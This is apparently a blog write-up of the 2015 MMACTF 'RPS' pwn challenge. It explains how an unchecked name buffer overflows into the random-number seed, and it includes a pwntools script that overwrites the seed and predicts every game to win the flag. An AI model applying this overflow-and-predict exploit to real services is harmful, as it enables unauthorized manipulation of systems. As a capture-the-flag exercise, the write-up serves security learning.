This past weekend Japan’s University of Electro-Communications hosted the 2015 MMACTF. I only had a few spare cycles this weekend, so I used that time to look at an easy one called RPS ( rock paper scissors ).
The challenge consists of a basic server application that iteratively plays rock paper swissors with a client until the client loses once or wins 50 games in a row. If the client wins, the server responds with the flag that can be submitted for 50 points. Since source code was provided and the category is Pwn, my assumption is that the goal is not to brute force the RPS game.
Analyzing the disassembly of the server binary, we can see that the application begins by seeding the random number generator with a 4 byte integer from /dev/random. It then loops 50 times, randomly generating a rock/paper/scissors choice, and checks it against the user input.
If you take a closer look at the code that seeds the random number generator, you can see immediately after the seed is initialized but before the generator is seeded, the statically sized name buffer is filled with user data. The length of this field is not checked and it is located directly before the random number generator seed. If the user supplies a name that is greater than 0x30 characters, the seed will be overwritten.
The following python script demonstrates the technique described above.
from pwn import * from ctypes import * rps = 'RPS' libc = CDLL("libc.so.6") libc.srand(0x01010101); def getNextAnswer(): comp = libc.rand()%3 mine = (comp + 1) %3 return rps[mine] r = remote("milkyway.chal.mmactf.link", 1641) nama = "A" * 0x30 nama += "x01"*4 print r.recv() print "Sending: " + str(nama) r.send(str(nama) + "n") print r.recv() for j in range(0, 50 ): x = getNextAnswer() print r.recv() print "Sending: " + x + "n" r.send(x + "n") data = r.recv() print data print r.recv() r.close()